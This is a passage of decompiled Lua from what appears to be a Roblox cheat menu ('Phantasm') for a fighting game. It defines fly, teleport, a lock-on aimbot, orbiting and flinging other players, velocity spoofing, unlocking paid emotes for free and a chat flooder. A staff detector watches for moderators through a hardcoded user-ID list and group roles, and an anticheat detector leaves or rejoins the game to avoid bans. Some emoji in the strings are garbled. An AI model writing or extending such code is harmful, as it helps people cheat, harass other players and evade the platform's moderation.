local v543 = math.round((v534.MoveDirection:Dot(v542.LookVector)))
local v544 = math.round((v534.MoveDirection:Dot(v542.RightVector)))
if v543 == 1 then
v538 = v538 + _LookVector * v537
local _ = v535.CFrame + _LookVector * (p532 * v537)
end
if v543 == -1 then
v538 = v538 + _LookVector * -v537
local _ = v535.CFrame + -_LookVector * (p532 * v537)
end
if v544 == -1 then
v538 = v538 + _RightVector * -v537
local _ = v535.CFrame + -_RightVector * (p532 * v537)
end
if v544 == 1 then
v538 = v538 + _RightVector * v537
local _ = v535.CFrame + _RightVector * (p532 * v537)
end
if v543 == 0 and v544 == 0 then
v535.Velocity = Vector3.new()
v535.CFrame = u528 or v535.CFrame
else
v535.Velocity = v538
u528 = v535.CFrame
end
v535.RotVelocity = Vector3.new()
local _Value = Options.FlyRotations.Value
if _Value == 'Horizontal' then
v535.CFrame = CFrame.new(v535.Position, v535.Position + Vector3.new(_LookVector.X, 0, _LookVector.Z))
elseif _Value == 'Vertical & Horizontal' then
v535.CFrame = CFrame.new(v535.CFrame.Position, v535.CFrame.Position + _CFrame2.LookVector)
end
end
end)
repeat
task.wait()
until not (u59.Flying and Toggles.Fly.Value)
u59.Flying = false
v546:Disconnect()
local v547 = getChar(_LocalPlayer)
local v548
if v547 then
v548 = getRoot(v547)
else
v548 = v547
end
local v549
if v547 then
v549 = getHumanoid(v547)
else
v549 = v547
end
if v547 and (v548 and (v549 and not v549.SeatPart)) then
local v550 = tick()
v548.Velocity = Vector3.new()
if v548.Velocity.Magnitude <= 5 or tick() >= v550 + 1 then
end
end
if not (v549 and v549.SeatPart) then
end
local v551 = tick()
while true do
if v549.SeatPart then
v549.SeatPart.Velocity = Vector3.new()
end
if v549.SeatPart and v549.SeatPart.Velocity.Magnitude <= 5 or (not v549.SeatPart or tick() >= v551 + 1) then
end
end
else
return
end
end,
})
v489:AddSlider('FlySpeed', {
Text = bypassText('Fly Speed'),
Default = 10000,
Min = 1,
Max = 50000,
Rounding = 1,
})
v489:AddDropdown('FlyRotations', {
Values = {
'None',
'Horizontal',
'Vertical & Horizontal',
},
Default = {},
Multi = false,
Searchable = false,
Text = bypassText('Fly Rotations'),
})
v489:AddDivider()
v489:AddToggle('AnimeTeleportation', {
Text = bypassText('Anime Teleportation'),
Default = false,
Callback = function(p552)
if not p552 and Options.AnimeTPKeybind:GetState() == true then
Options.AnimeTPKeybind.Toggled = false
Options.AnimeTPKeybind:DoClick()
end
end,
}):AddKeyPicker('AnimeTPKeybind', {
SyncToggleState = false,
Mode = 'Toggle',
Default = 'T',
Text = bypassText('Anime Teleportation'),
Callback = function(_)
Options.AnimeTPKeybind.Toggled = false
if Toggles.AnimeTeleportation.Value and u6.Target then
local u553 = getChar(_LocalPlayer)
local v554
if u553 then
v554 = getRoot(u553)
else
v554 = u553
end
local v555
if u553 then
v555 = getHumanoid(u553)
else
v555 = u553
end
if u553 and (v554 and v555) then
stopAllAnims(v555, {
'15957361339',
})
if Toggles.AnimeTPAnimation.Value then
local v556 = loadAnim(v555, '15957361339')
v556.Priority = Enum.AnimationPriority.Action2
v556:Play()
v556:AdjustSpeed(Options.AnimeTPSpeed.Value)
end
local _CFrame3 = v554.CFrame
heartbeatTp(CFrame.new(u6.Hit.Position, Vector3.new(_CFrame3.Position.X, u6.Hit.Position.Y, _CFrame3.Position.Z)) * CFrame.Angles(0, math.pi, 0))
local _Value2 = Options.AnimeTPSound.Value
if _Value2 == 'Goku' then
local v559 = loadSound(v554, '4861638982')
v559.Volume = Options.AnimeTPVolume.Value
v559:Play()
elseif _Value2 == 'Goku Black' then
local v560 = loadSound(v554, '9010221848')
v560.Volume = Options.AnimeTPVolume.Value
v560:Play()
v560.TimePosition = 0.4
end
local v561 = _ReplicatedStorage.Resources.KJEffects.tpthing:Clone()
v561.Parent = v554
v561:Emit(15)
_Debris:AddItem(v561, 1)
local v562, v563, v564 = pairs(u553:GetDescendants())
while true do
local u565
v564, u565 = v562(v563, v564)
if v564 == nil then
break
end
if u565:IsA('BasePart') and (u565 ~= v554 and u565.Transparency ~= 1) and not u565.Name:lower():find('hitbox') then
task.spawn(function()
u565.Transparency = 1
task.delay(0.1, function()
if u59.Invisibility or getgenv().desync and not u553:FindFirstChild('AbsoluteImmortal') then
u565.Transparency = 0.5
else
u565.Transparency = 0
end
end)
local _Decal2 = u565:FindFirstChildWhichIsA('Decal')
if _Decal2 and _Decal2.Transparency ~= 1 then
local _Transparency = _Decal2.Transparency
_Decal2.Transparency = 1
task.wait(0.1)
_Decal2.Transparency = _Transparency
end
end)
end
end
end
end
end,
})
v489:AddToggle('AnimeTPAnimation', {
Text = bypassText('Teleport Animation'),
Default = false,
})
v489:AddDropdown('AnimeTPSound', {
Values = {
'None',
'Goku',
'Goku Black',
},
Default = 1,
Multi = false,
Text = bypassText('Teleport Sound'),
})
v489:AddSlider('AnimeTPVolume', {
Text = bypassText('Sound Volume'),
Default = 10,
Min = 1,
Max = 10,
Rounding = 1,
})
v489:AddSlider('AnimeTPSpeed', {
Text = bypassText('Animation Speed'),
Default = 1,
Min = 0.5,
Max = 5,
Rounding = 1,
})
v489:AddDivider()
v489:AddToggle('Lock-on', {
Text = bypassText('Lock-on'),
Default = false,
Callback = function(p568)
if not p568 and Options['L-OnKeybind']:GetState() == true then
Options['L-OnKeybind'].Toggled = false
Options['L-OnKeybind']:DoClick()
end
end,
}):AddKeyPicker('L-OnKeybind', {
SyncToggleState = false,
Mode = 'Toggle',
Default = 'V',
Text = bypassText('Lock-on'),
Callback = function(p569)
if u525['Lock-on'] then
return
end
if p569 and not Toggles['Lock-on'].Value then
_RenderStepped:Wait()
u525['Lock-on'] = true
Options['L-OnKeybind'].Toggled = false
Options['L-OnKeybind']:DoClick()
u525['Lock-on'] = false
return
end
local v570 = closestPlayerV2(true)
if v570 and (p569 and Toggles['Lock-on'].Value) then
while true do
if true then
local v571 = getChar(_LocalPlayer)
local v572
if v571 then
v572 = getRoot(v571)
else
v572 = v571
end
end
local v573
if v571 then
v573 = getHumanoid(v571)
else
v573 = v571
end
local v574
if v570 then
v574 = getChar(v570)
else
v574 = v570
end
local v575
if v574 then
v575 = getRoot(v574)
else
v575 = v574
end
local v576
if v574 then
v576 = getHumanoid(v574)
else
v576 = v574
end
if v571 and (v572 and (v573 and (v570 and (v574 and (v575 and (v576 and v573.Health > 0)))))) then
v573.AutoRotate = false
local v577 = v574:FindFirstChildWhichIsA('Highlight') or Instance.new('Highlight', v574)
v577.FillTransparency = 0.8
v577.OutlineTransparency = 0
v577.DepthMode = 'AlwaysOnTop'
v577.FillColor = Color3.fromRGB(255, 0, 0)
v577.OutlineColor = Color3.fromRGB(255, 0, 0)
local _Position = v572.Position
local _Position2 = v575.Position
local _ = v575.Velocity
local v580 = Toggles['Auto_Lock-on_Prediction'].Value and _Stats.Network.ServerStatsItem['Data Ping']:GetValue() / 1000 or Options['Lock-on_Prediction'].Value
local v581 = Vector3.new(_Position2.X, u59.Flying and _Position2.Y or _Position.Y, _Position2.Z) + v576.MoveDirection * v575.Velocity.Magnitude * 0.1
if Toggles['Auto_Lock-on_Prediction'].Value then
Options['Lock-on_Prediction']:SetValue(tonumber(string.format('%.1f', v580)))
end
if not v571:FindFirstChild('Ragdoll') then
v572.CFrame = CFrame.new(_Position, v581)
end
end
_RenderStepped:Wait()
if Options['L-OnKeybind']:GetState() == false or v570 and not v570.Parent or not v570 then
local v582 = getChar(_LocalPlayer)
local v583
if v582 then
v583 = getRoot(v582)
else
v583 = v582
end
local v584
if v582 then
v584 = getHumanoid(v582)
else
v584 = v582
end
if v582 and (v583 and v584) then
v584.AutoRotate = true
end
local v585
if v570 then
v585 = getChar(v570)
else
v585 = v570
end
local v586
if v585 then
v586 = v585:FindFirstChildWhichIsA('Highlight')
else
v586 = v585
end
if v570 and (v585 and v586) then
if getHighestStreak() ~= v570 or (10 > (v585:GetAttribute('CurrentStreak') or 0) or v570:GetAttribute('S_HideStreak')) then
v586.FillTransparency = 1
v586.OutlineTransparency = 1
v586.DepthMode = 'Occluded'
v586.FillColor = Color3.fromRGB(255, 255, 255)
v586.OutlineColor = Color3.fromRGB(255, 255, 255)
else
v586.FillTransparency = 1
v586.OutlineTransparency = 0
v586.DepthMode = 'Occluded'
v586.FillColor = Color3.fromRGB(255, 255, 0)
v586.OutlineColor = Color3.fromRGB(255, 255, 0)
end
end
end
end
else
return
end
end,
})
v489:AddSlider('Lock-on_Prediction', {
Text = bypassText('Prediction'),
Default = 0.1,
Min = 0.1,
Max = 1,
Rounding = 1,
Compact = true,
})
v489:AddToggle('Auto_Lock-on_Prediction', {
Text = bypassText('Auto Prediction'),
Default = false,
})
v489:AddDivider()
v489:AddToggle('Orbit', {
Text = bypassText('Orbit'),
Default = false,
Callback = function(p587)
if not p587 and Options.OrbitBind:GetState() == true then
Options.OrbitBind.Toggled = false
Options.OrbitBind:DoClick()
end
end,
}):AddKeyPicker('OrbitBind', {
SyncToggleState = false,
Mode = 'Toggle',
Default = 'H',
Text = bypassText('Orbit'),
Callback = function(p588)
if u525.Orbit then
return
end
if p588 and not Toggles.Orbit.Value then
_RenderStepped:Wait()
u525.Orbit = true
Options.OrbitBind.Toggled = false
Options.OrbitBind:DoClick()
u525.Orbit = false
return
end
local v589 = closestPlayerV2(true)
if v589 and (p588 and Toggles.Orbit.Value) then
local v590 = nil
local v591 = getChar(_LocalPlayer)
local v592
if v591 then
v592 = getRoot(v591)
else
v592 = v591
end
local v593
if v591 then
v593 = getHumanoid(v591)
else
v593 = v591
end
if v591 and (v592 and v593) then
v590 = v592.CFrame
end
u477:Notify({
Title = bypassText('Orbit'),
Description = bypassText('Toggled on ') .. '\u{fffd}\u{fffd}',
Time = 2,
SoundId = u42.Notification,
})
local v594 = 0
while true do
if true then
local v595 = getChar(_LocalPlayer)
local v596
if v595 then
v596 = getRoot(v595)
else
v596 = v595
end
end
local v597
if v595 then
v597 = getHumanoid(v595)
else
v597 = v595
end
local v598
if v589 then
v598 = getChar(v589)
else
v598 = v589
end
local v599
if v598 then
v599 = getRoot(v598)
else
v599 = v598
end
local v600
if v598 then
v600 = getHumanoid(v598)
else
v600 = v598
end
if v595 and (v596 and (v597 and (v589 and (v598 and (v599 and v600))))) then
local _CurrentCamera2 = _Workspace.CurrentCamera
if _CurrentCamera2 and _CurrentCamera2.CameraSubject ~= v600 then
_CurrentCamera2.CameraSubject = v600
end
local _Value3 = Options.OrbitSpeed.Value
local _Value4 = Options.OrbitDistance.Value
v594 = v594 + _Value3
if not u59['Pause Orbit'] then
local v604 = v599.Position + v600.MoveDirection * v599.Velocity.Magnitude / 2.75
local v605 = CFrame.Angles(0, math.rad(v594), 0) * CFrame.new(_Value4, 0, 0)
v596.CFrame = CFrame.lookAt(v596.Position, Vector3.new(v604.X, v596.Position.Y, v604.Z))
task.wait()
v596.CFrame = CFrame.new(v604.X, v599.Position.Y, v604.Z) * v605
end
end
_RenderStepped:Wait()
if Options.OrbitBind:GetState() == false or v589 and not v589.Parent or not v589 then
u477:Notify({
Title = bypassText('Orbit'),
Description = bypassText('Toggled off ') .. '\u{fffd}\u{fffd}',
Time = 2,
SoundId = u42.Notification,
})
local _CurrentCamera3 = _Workspace.CurrentCamera
local v607 = getChar(_LocalPlayer)
local v608
if v607 then
v608 = getRoot(v607)
else
v608 = v607
end
local v609
if v607 then
v609 = getHumanoid(v607)
else
v609 = v607
end
local v610
if v589 then
v610 = getChar(v589)
else
v610 = v589
end
local v611
if v610 then
v611 = getRoot(v610)
else
v611 = v610
end
local v612
if v610 then
v612 = getHumanoid(v610)
else
v612 = v610
end
if v607 and (v608 and (v609 and (v589 and (v610 and (v611 and v612))))) then
if _CurrentCamera3 and _CurrentCamera3.CameraSubject == v612 then
_CurrentCamera3.CameraSubject = v609
end
elseif v607 and (v608 and v609) then
_CurrentCamera3.CameraSubject = v609
end
if v590 then
heartbeatTp(v590)
end
end
end
else
return
end
end,
})
v489:AddSlider('OrbitSpeed', {
Text = bypassText('Orbit Speed'),
Default = 10,
Min = 1,
Max = 100,
Rounding = 1,
})
v489:AddSlider('OrbitDistance', {
Text = bypassText('Orbit Distance'),
Default = 3,
Min = 1,
Max = 100,
Rounding = 1,
})
v489:AddDivider()
v489:AddToggle('VelocitySpoof', {
Text = bypassText('Velocity Spoof'),
Default = false,
Callback = function(p613)
if not p613 then
u59['Velocity Spoof'] = false
if Options.VelocitySpoofBind:GetState() == true then
Options.VelocitySpoofBind.Toggled = false
Options.VelocitySpoofBind:DoClick()
end
end
end,
}):AddKeyPicker('VelocitySpoofBind', {
SyncToggleState = false,
Mode = 'Toggle',
Default = 'X',
Text = bypassText('Velocity Spoof'),
Callback = function(p614)
if u525['Velocity Spoof'] then
return
elseif p614 and not Toggles.VelocitySpoof.Value then
_RenderStepped:Wait()
u525['Velocity Spoof'] = true
Options.VelocitySpoofBind.Toggled = false
Options.VelocitySpoofBind:DoClick()
u525['Velocity Spoof'] = false
elseif Toggles.VelocitySpoof.Value then
u59['Velocity Spoof'] = p614
u477:Notify({
Title = bypassText('Velocity Spoof'),
Description = bypassText('Toggled ') .. (p614 and 'on \u{2705}' or 'off \u{274c}'),
Time = 2,
SoundId = u42.Notification,
})
end
end,
})
v489:AddSlider('VelocityX', {
Text = bypassText('X'),
Default = 0,
Min = 0,
Max = 16384,
Rounding = 1,
Compact = true,
Callback = function(p615)
u59['Velocity Spoof Settings'] = Vector3.new(p615, u59['Velocity Spoof Settings'].Y, u59['Velocity Spoof Settings'].Z)
end,
})
v489:AddSlider('VelocityY', {
Text = bypassText('Y'),
Default = 0,
Min = 0,
Max = 16384,
Rounding = 1,
Compact = true,
Callback = function(p616)
u59['Velocity Spoof Settings'] = Vector3.new(u59['Velocity Spoof Settings'].X, p616, u59['Velocity Spoof Settings'].Z)
end,
})
v489:AddSlider('VelocityZ', {
Text = bypassText('Z'),
Default = 0,
Min = 0,
Max = 16384,
Rounding = 1,
Compact = true,
Callback = function(p617)
u59['Velocity Spoof Settings'] = Vector3.new(u59['Velocity Spoof Settings'].X, u59['Velocity Spoof Settings'].Y, p617)
end,
})
v489:AddDivider()
v489:AddToggle('TP1', {
Text = bypassText('Teleport 1'),
Default = false,
Callback = function(p618)
if not p618 and Options.TP1Bind:GetState() == true then
Options.TP1Bind.Toggled = false
Options.TP1Bind:DoClick()
end
end,
}):AddKeyPicker('TP1Bind', {
SyncToggleState = false,
Mode = 'Toggle',
Default = 'E',
Text = bypassText('Teleport 1'),
Callback = function(_)
Options.TP1Bind.Toggled = false
if Toggles.TP1.Value then
local v619 = getChar(_LocalPlayer)
local v620
if v619 then
v620 = getRoot(v619)
else
v620 = v619
end
local v621
if v619 then
v621 = getHumanoid(v619)
else
v621 = v619
end
if v619 and (v620 and (v621 and v621.Health > 0)) then
heartbeatTp(v620.CFrame * CFrame.new(Options.TP1X.Value, Options.TP1Y.Value, Options.TP1Z.Value))
end
end
end,
})
v489:AddSlider('TP1X', {
Text = bypassText('X'),
Default = 0,
Min = -25,
Max = 25,
Rounding = 1,
Compact = true,
})
v489:AddSlider('TP1Y', {
Text = bypassText('Y'),
Default = 0,
Min = -25,
Max = 25,
Rounding = 1,
Compact = true,
})
v489:AddSlider('TP1Z', {
Text = bypassText('Z'),
Default = 20,
Min = -25,
Max = 25,
Rounding = 1,
Compact = true,
})
v489:AddDivider()
v489:AddToggle('TP2', {
Text = bypassText('Teleport 2'),
Default = false,
Callback = function(p622)
if not p622 and Options.TP2Bind:GetState() == true then
Options.TP2Bind.Toggled = false
Options.TP2Bind:DoClick()
end
end,
}):AddKeyPicker('TP2Bind', {
SyncToggleState = false,
Mode = 'Toggle',
Default = 'R',
Text = bypassText('Teleport 2'),
Callback = function(_)
Options.TP2Bind.Toggled = false
if Toggles.TP2.Value then
local v623 = getChar(_LocalPlayer)
local v624
if v623 then
v624 = getRoot(v623)
else
v624 = v623
end
local v625
if v623 then
v625 = getHumanoid(v623)
else
v625 = v623
end
if v623 and (v624 and (v625 and v625.Health > 0)) then
heartbeatTp(v624.CFrame * CFrame.new(Options.TP2X.Value, Options.TP2Y.Value, Options.TP2Z.Value))
end
end
end,
})
v489:AddSlider('TP2X', {
Text = bypassText('X'),
Default = 0,
Min = -25,
Max = 25,
Rounding = 1,
Compact = true,
})
v489:AddSlider('TP2Y', {
Text = bypassText('Y'),
Default = 0,
Min = -25,
Max = 25,
Rounding = 1,
Compact = true,
})
v489:AddSlider('TP2Z', {
Text = bypassText('Z'),
Default = -20,
Min = -25,
Max = 25,
Rounding = 1,
Compact = true,
})
local u626 = {
422755031,
198131804,
681405668,
3414432341,
339633571,
430966809,
2039323684,
117723419,
1015595932,
263944298,
112905203,
2284964418,
1266437961,
3120648134,
1148139861,
1633233654,
3350014406,
971193650,
661273560,
66105529,
77342385,
167343092,
2055306963,
141984224,
438917845,
1391134999,
1796550069,
255671730,
3162123826,
1059541187,
1259898795,
31070091,
1041867508,
994994173,
1446694201,
77525605,
1001242712,
2533866869,
4983064295,
}
local function u637(p627)
if p627 ~= _LocalPlayer then
local _DisplayName = p627.DisplayName
if p627:IsInGroup(12013007) and Toggles.SDCheckGroup.Value then
local v629 = p627:GetRoleInGroup(12013007)
if v629 == 'Tester \u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}' then
u477:Notify({
Title = bypassText('A tester is in your game!'),
Description = bypassText(_DisplayName),
Time = 10,
SoundId = u42.Notification,
})
elseif v629 == 'Moderator\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fe0f}' then
u477:Notify({
Title = bypassText('A moderator is in your game!'),
Description = bypassText(_DisplayName),
Time = 10,
SoundId = u42.Notification,
})
elseif v629 == 'Contributor \u{270f}\u{fe0f}' then
u477:Notify({
Title = bypassText('A contributor is in your game!'),
Description = bypassText(_DisplayName),
Time = 10,
SoundId = u42.Notification,
})
elseif v629 == 'Developer \u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{200d}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}' then
u477:Notify({
Title = bypassText('A developer is in your game!'),
Description = bypassText(_DisplayName),
Time = 10,
SoundId = u42.Notification,
})
elseif v629 == 'Owner \u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}\u{fffd}' then
u477:Notify({
Title = bypassText('The owner is in your game!'),
Description = bypassText(_DisplayName),
Time = 10,
SoundId = u42.Notification,
})
end
end
local v630, v631, v632 = pairs(u626)
local v633 = {}
while true do
local v634
v632, v634 = v630(v631, v632)
if v632 == nil then
break
end
if p627.UserId == v634 and Toggles.StaffDetector.Value then
return u477:Notify({
Title = bypassText('A special person has joined!'),
Description = bypassText(_DisplayName),
Time = 10,
SoundId = u42.Notification,
})
end
if Toggles.SDCheckFriends.Value and p627:IsFriendsWith(v634) then
local v635 = _Players
v633[#v633 + 1] = v635:GetNameFromUserIdAsync(v634)
end
end
if #v633 > 0 then
local v636 = #v633 == 1 and v633[1] or (#v633 == 2 and table.concat(v633, ' and ') or #v633 .. ' special people')
u477:Notify(bypassText(_DisplayName, 'has joined and is friends with', v636), 10, u42.Notification)
end
end
end
v503:AddToggle('StaffDetector', {
Text = bypassText('Staff Detector'),
Default = false,
Callback = function(p638)
if p638 then
local v639 = _Players
local v640, v641, v642 = pairs(v639:GetPlayers())
while true do
local v643
v642, v643 = v640(v641, v642)
if v642 == nil then
break
end
task.spawn(pcall, u637, v643)
end
elseif not p638 then
Toggles.SDCheckGroup:SetValue(false)
Toggles.SDCheckFriends:SetValue(false)
end
end,
})
v503:AddToggle('SDCheckGroup', {
Text = bypassText('Check Group'),
Default = false,
})
v503:AddToggle('SDCheckFriends', {
Text = bypassText('Check Friends'),
Default = false,
})
local u644 = 0
local u645 = 0
v503:AddLabel({
Text = bypassText('Anticheat Flags:\n\r\nA1: Report\r\nA2: Animation\r\nA3: Remote Event'),
DoesWrap = true,
Size = 16,
})
v503:AddToggle('AnticheatDetector', {
Text = bypassText('Anticheat Detector'),
Tooltip = bypassText('Detects when the game checks for cheats.'),
Default = false,
Callback = function(p646)
if p646 then
local v650 = _ReplicatedStorage.Replication.OnClientEvent:Connect(function(...)
local v647 = select(1, ...)
if v647 then
local v648 = rawget(v647, 'Effect') or 'Unknown'
local _Value5 = Options.AvoidBanMethod.Value
if v648:lower() == 'hicheck' then
u644 = u644 + 1
u477:Notify({
Title = bypassText('Anticheat Flagged'),
Description = bypassText('A1 (Report)'),
Time = 10,
SoundId = u42.Notification,
})
if _Value5 == 'Auto Leave' then
_LocalPlayer:Kick('\n[Phantasm]\nAnticheat Triggered, You were reported for exploiting.')
elseif _Value5 == 'Auto Rejoin' then
rejoin({
Message = '\n[Phantasm]\nAnticheat Triggered, You were reported for exploiting.',
Delay = Options.RejoinDelay.Value,
})
end
end
end
end)
repeat
task.wait()
until not Toggles.AnticheatDetector.Value
v650:Disconnect()
end
end,
})
v503:AddDropdown('AvoidBanMethod', {
Values = {
'None',
'Auto Leave',
'Auto Rejoin',
},
Default = 1,
Multi = false,
Text = bypassText('Avoid Ban Method'),
})
v503:AddSlider('RejoinDelay', {
Text = bypassText('Rejoin Delay'),
Default = 3,
Min = 0,
Max = 10,
Rounding = 1,
})
v506:AddToggle('AutoEmoteSpin', {
Text = bypassText('Auto Emote Spin'),
Default = false,
})
v506:AddDivider()
v506:AddToggle('FreeEmotes', {
Text = bypassText('Knockoff Free Emotes'),
Default = false,
})
v506:AddToggle('FreeEmoteSearchBar', {
Text = bypassText('Free Emote Search Bar'),
Default = false,
Callback = function(p651)
if not (p651 and _LocalPlayer:GetAttribute('EmoteSearchBar')) then
_LocalPlayer:SetAttribute('EmoteSearchBar', p651 and true or nil)
end
end,
})
v506:AddToggle('Free8EmoteSlots', {
Text = bypassText('Free 8 Emote Slots'),
Default = false,
Callback = function(p652)
if not (p652 and _LocalPlayer:GetAttribute('ExtraSlots')) then
_LocalPlayer:SetAttribute('ExtraSlots', p652 and true or nil)
end
end,
})
v506:AddToggle('FreeEmotePage', {
Text = bypassText('Free Emote Page'),
Default = false,
Callback = function(p653)
if not (p653 and _LocalPlayer:GetAttribute('EmotePages')) then
_LocalPlayer:SetAttribute('EmotePages', p653 and true or nil)
end
end,
})
v506:AddLabel({
Text = bypassText('Total Emotes:', Emotes and #Emotes or 'Unknown'),
DoesWrap = true,
Size = 16,
})
v506:AddToggle('DisableMessaging', {
Text = bypassText('Disable Messaging'),
Tooltip = bypassText("Incase you get mad at someone and can't hold yourself back."),
Default = false,
})
v506:AddToggle('AntiChatLogger', {
Text = bypassText('Anti Chat Logger'),
Default = false,
})
v506:AddToggle('ChatFlooder', {
Text = bypassText('Chat Flooder'),
Default = false,
Callback = function(p654)
if p654 then
while true do
sendMsg(randomAlphabeticalString(200))
local v655 = tick()
repeat
task.wait()
until tick() >= v655 + Options.ChatFlooderDelay.Value or not Toggles.ChatFlooder.Value
if not Toggles.ChatFlooder.Value then
end
end
else
return
end
end,
})
v506:AddSlider('ChatFlooderDelay', {
Text = bypassText('Chat Flooder Delay'),
Default = 3.5,
Min = 0.5,
Max = 5,
Rounding = 1,
})
if u446 == '8503ecc70e68aa38ab0cf58354594365abbb8c0943429dd68d1243902600533e5d4149e25dd640afb87da3f52a4f6751d7f8133cd25275792e9b40d06bf43156' then
v492:AddToggle('TrashcanLaunchh', {
Text = bypassText('Frozen Soul Dual Moveset'),
Default = false,
})
end
v492:AddDivider()
v492:AddToggle('TrashcanLaunch', {
Text = bypassText('Trashcan Launch'),
Default = false,
})
v492:AddSlider('Trashcan_LaunchPower', {
Text = bypassText('Launch Power'),
Default = 100,
Min = 1,
Max = 2500,
Rounding = 1,
})
v492:AddDivider()
v492:AddToggle('SkillBring', {
Text = bypassText('Skill Bring'),
Default = false,
})
v492:AddToggle('SkillBringTPBack', {
Text = bypassText('TP Back on Bring'),
Default = false,
})
v492:AddDropdown('SkillBringArea', {
Text = bypassText('Skill Bring Area'),
Values = v40,
Multi = false,
Default = table.find(v40, 'Death Counter'),
Searchable = false,
})
local _Middle = u36.Middle
v492:AddButton({
Text = bypassText('Goto'),
Callback = function()
local v657 = u36[Options.SkillBringArea.Value]
local v658 = getChar(_LocalPlayer)
local v659
if v658 then
v659 = getRoot(v658)
else
v659 = v658
end
if v658 and (v659 and (_Middle.Position - v657.Position).Magnitude >= 100) then
_Middle = v659.CFrame
end
heartbeatTp(v657)
end,
}):AddButton({
Text = bypassText('Back'),
Callback = function()
heartbeatTp(_Middle)
end,
})
v492:AddDivider()
v492:AddToggle('AttackAll', {
Text = bypassText('Attack All'),
Default = false,
})
v492:AddDropdown('AttackAllMoves', {
Values = {
'Savage Tornado',
'Brutal Beatdown',
'Crushed Rock Variant',
},
Multi = true,
Default = {},
})
v492:AddDivider()
v492:AddToggle('SkillThrow', {
Text = bypassText('Skill Throw'),
Default = false,
})
v492:AddDropdown('SkillThrowMoves', {
Values = {
'Hunters Grasp',
'Homerun',
},
Multi = true,
Default = {},
})
v492:AddDivider()
v492:AddToggle('NoBP_WindstormFury', {
Text = bypassText('No Windstorm Fury BP'),
Default = false,
})
v492:AddToggle('NoBP_TatsumakiUlt', {
Text = bypassText('No Tatsumaki Ult BP'),
Default = false,
})
v492:AddToggle('NoBP_PreysPeril', {
Text = bypassText("No Prey's Peril BP"),
Default = false,
})
v492:AddToggle('FlingOnDeath', {
Text = bypassText('Fling On Death'),
Default = false,
})
v493:AddToggle('WallComboAnywhere', {
Text = bypassText('Wall Combo Anywhere'),
Default = false,
})
v493:AddDropdown('AutoWallCombo', {
Text = bypassText('Auto Wall Combo'),
Values = {
'Disabled',
'Auto Wall Combo',
'Auto Wall Combo + Bring',
},
Multi = false,
Default = 1,
})
v493:AddToggle('AutoWallComboTPBack', {
Text = bypassText('Teleport Back'),
Default = false,
})
v493:AddDropdown('AutoWallComboArea', {
Text = bypassText('Area'),
Values = v50,
Multi = false,
Default = table.find(v50, 'Death Counter'),
Searchable = true,
})
local _Middle2 = u36.Middle
v493:AddButton({
Text = bypassText('Teleport To Area'),
Callback = function()
local v661 = u46[Options.AutoWallComboArea.Value]
local v662 = getChar(_LocalPlayer)
local v663
if v662 then
v663 = getRoot(v662)
else
v663 = v662
end
if v662 and (v663 and (_Middle2.Position - v661.Position).Magnitude >= 100) then
_Middle2 = v663.CFrame
end
heartbeatTp(v661)
end,
})
v493:AddButton({
Text = bypassText('Teleport Back'),
Callback = function()
heartbeatTp(_Middle2)
end,
})
v494:AddButton({
Text = bypassText('Toggle All On'),
Callback = function()
local v664, v665, v666 = pairs(Toggles)
while true do
local v667
v666, v667 = v664(v665, v666)
if v666 == nil then
break
end
if v666:find('^AntiMoves_') and v667.Type == 'Toggle' then
v667:SetValue(true)
end
end
local v668, v669, v670 = pairs(Options)
while true do
local v671
v670, v671 = v668(v669, v670)
if v670 == nil then
break
end
if v670:find('^AntiMoves_') and v671.Type == 'Dropdown' then
local v672, v673, v674 = pairs(v671.Values)
local v675 = {}
while true do
local v676
v674, v676 = v672(v673, v674)
if v674 == nil then
break
end
v675[v676] = true
end
v671:SetValue(v675)
end
end
end,
}):AddButton({
Text = bypassText('Toggle All Off'),
Callback = function()
local v677, v678, v679 = pairs(Toggles)
while true do
local v680
v679, v680 = v677(v678, v679)
if v679 == nil then
break
end
if v679:find('^AntiMoves_') and v680.Type == 'Toggle' then
v680:SetValue(false)
end
end
local v681, v682, v683 = pairs(Options)
while true do
local v684
v683, v684 = v681(v682, v683)
if v683 == nil then
break
end
if v683:find('^AntiMoves_') and v684.Type == 'Dropdown' then
v684:SetValue({})
end
end
end,
})
v494:AddToggle('AntiExploits_Fling', {
Text = bypassText('Anti Fling'),
Default = false,
})
v494:AddToggle('AntiExploits_Invisibility', {
Text = bypassText('Anti Invisibility'),
Default = false,
Visible = true,
Callback = function(p685)
if p685 then
local function u691(p686)
local v687, v688, v689 = pairs(u58)
while true do
local v690
v689, v690 = v687(v688, v689)
if v689 == nil then
break
end
if p686.Animation.AnimationId:match(v690) and p686.Speed ~= 1 then
task.spawn(function()
repeat
p686:AdjustWeight(-999999)
_RenderStepped:Wait()
until not (p686.IsPlaying and Toggles.AntiExploits_Invisibility.Value)
end)
end
end
end
local function v706(p692)
local v693 = getChar(p692)
local v694
if v693 then
v694 = getRoot(v693)
else
v694 = v693
end
local v695
if v693 then
v695 = getHumanoid(v693)
else
v695 = v693
end
if v693 and v695 then
local v696, v697, v698 = pairs(v693:GetDescendants())
while true do
local u699
v698, u699 = v696(v697, v698)
if v698 == nil then
break
end
if u699:IsA('BasePart') then
if u699.Transparency == 1 and u699 ~= v694 and not u699.Name:find('^Hitbox_') then
u699.Transparency = 0
end
local u700 = 0
u699:GetPropertyChangedSignal('Transparency'):Connect(function()
if u699.Transparency == 1 then
u699.Transparency = u700
end
u700 = u699.Transparency
end)
end
end
local v701, v702, v703 = pairs(v695:GetPlayingAnimationTracks())
while true do
local v704
v703, v704 = v701(v702, v703)
if v703 == nil then
break
end
u691(v704)
end
v695.AnimationPlayed:Connect(function(p705)
u691(p705)
end)
end
end
local v707 = _Players
local v708, v709, v710 = pairs(v707:GetPlayers())
while true do
local v711
v710, v711 = v708(v709, v710)
if v710 == nil then
break
end
if v711 ~= _LocalPlayer then
v706(v711)
end
end
local v712 = _Players.PlayerAdded:Connect(v706)
repeat
_RenderStepped:Wait()
until not Toggles.AntiExploits_Invisibility.Value
v712:Disconnect()
end
end,
})
v494:AddToggle('AntiMovesMisc_BackdashCancel', {
Text = bypassText('Backdash Cancel'),
Default = false,
})
v494:AddToggle('AntiMoves_Trashcan', {
Text = bypassText('Anti Trash Can'),
Default = false,
})
v494:AddDropdown('AntiMoves_Saitama', {
